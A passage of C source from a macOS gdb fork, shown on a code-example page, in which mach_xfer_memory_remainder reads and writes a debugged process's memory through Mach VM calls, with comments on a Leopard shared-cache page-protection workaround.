             "vm_read returned %lu bytes instead of %lu\n",
             (uint64_t) memaddr, (unsigned long) len,
             (unsigned long) memcopied, (unsigned long) len);
#endif
          return 0;
        }
      memcpy (myaddr, ((unsigned char *) 0) + mempointer, len);
      kret = vm_deallocate (mach_task_self (), mempointer, memcopied);
      if (kret != KERN_SUCCESS)
        {
          warning
            ("Unable to deallocate memory used by read from inferior: %s (0x%ulx)",
             MACH_ERROR_STRING (kret), kret);
          return 0;
        }
    }
  else
    {
      kret =
        mach_vm_write (task, memaddr, (pointer_t) myaddr, len);
      if (kret != KERN_SUCCESS)
        {
#ifdef DEBUG_MACOSX_MUTILS
          mutils_debug
            ("Unable to write region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n",
             (uint64_t) memaddr, (unsigned long) len,
             MACH_ERROR_STRING (kret), kret);
#endif
          return 0;
        }
    }

  return len;
}
コード例 #14
0
ファイル: macosx-mutils.c プロジェクト: HoMeCracKeR/gdb-ng
static int
mach_xfer_memory_remainder (CORE_ADDR memaddr, char *myaddr,
                            int len, int write,
                            task_t task)
{
  vm_size_t pagesize = child_get_pagesize ();

  vm_offset_t mempointer;       /* local copy of inferior's memory */
  mach_msg_type_number_t memcopied;     /* for vm_read to use */

  CORE_ADDR pageaddr = memaddr - (memaddr % pagesize);

  kern_return_t kret;

  CHECK_FATAL (((memaddr + len - 1) - ((memaddr + len - 1) % pagesize))
               == pageaddr);

  if (!write)
    {
      kret = mach_vm_read (task, pageaddr, pagesize, &mempointer, &memcopied);
      
      if (kret != KERN_SUCCESS)
	{
#ifdef DEBUG_MACOSX_MUTILS
	  mutils_debug
	    ("Unable to read page for region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n",
	     (uint64_t) pageaddr, (unsigned long) len,
	     MACH_ERROR_STRING (kret), kret);
#endif
	  return 0;
	}
      if (memcopied != pagesize)
	{
	  kret = vm_deallocate (mach_task_self (), mempointer, memcopied);
	  if (kret != KERN_SUCCESS)
	    {
	      warning
		("Unable to deallocate memory used by failed read from inferior: %s (0x%lx)",
		 MACH_ERROR_STRING (kret), (unsigned long) kret);
	    }
#ifdef DEBUG_MACOSX_MUTILS
	  mutils_debug
	    ("Unable to read region at 0x%8.8llx with length %lu from inferior: "
	     "vm_read returned %lu bytes instead of %lu\n",
	     (uint64_t) pageaddr, (unsigned long) pagesize,
	     (unsigned long) memcopied, (unsigned long) pagesize);
#endif
	  return 0;
	}
      
      memcpy (myaddr, ((unsigned char *) 0) + mempointer
              + (memaddr - pageaddr), len);
      kret = vm_deallocate (mach_task_self (), mempointer, memcopied);
      if (kret != KERN_SUCCESS)
	{
	  warning
	    ("Unable to deallocate memory used to read from inferior: %s (0x%ulx)",
	     MACH_ERROR_STRING (kret), kret);
	  return 0;
	}
    }
  else
    {
      /* We used to read in a whole page, then modify the page
	 contents, then write that page back out.  I bet we did that
	 so we didn't break up page maps or something like that.
	 However, in Leopard there's a bug in the shared cache
	 implementation, such that if we write into it with whole
	 pages the maximum page protections don't get set properly and
	 we can no longer reset the execute bit.  In 64 bit Leopard
	 apps, the execute bit has to be set or we can't run code from
	 there.

	 If we figure out that not writing whole pages causes problems
	 of it's own, then we will have to revisit this.  */

#if defined (TARGET_POWERPC)
      vm_machine_attribute_val_t flush = MATTR_VAL_CACHE_FLUSH;
      /* This vm_machine_attribute only works on PPC, so no reason
	 to keep failing on x86... */

      kret = vm_machine_attribute (mach_task_self (), mempointer,
                                   pagesize, MATTR_CACHE, &flush);
#ifdef DEBUG_MACOSX_MUTILS
      if (kret != KERN_SUCCESS)
        {
          mutils_debug
            ("Unable to flush GDB's address space after memcpy prior to vm_write: %s (0x%lx)\n",
             MACH_ERROR_STRING (kret), kret);
        }
#endif
#endif
      kret =
        mach_vm_write (task, memaddr, (pointer_t) myaddr, len);
      if (kret != KERN_SUCCESS)
        {
#ifdef DEBUG_MACOSX_MUTILS
          mutils_debug
            ("Unable to write region at 0x%8.8llx with length %lu to inferior: %s (0x%lx)\n",
             (uint64_t) memaddr, (unsigned long) len,
             MACH_ERROR_STRING (kret), kret);
#endif
          return 0;
        }
    }

  return len;
}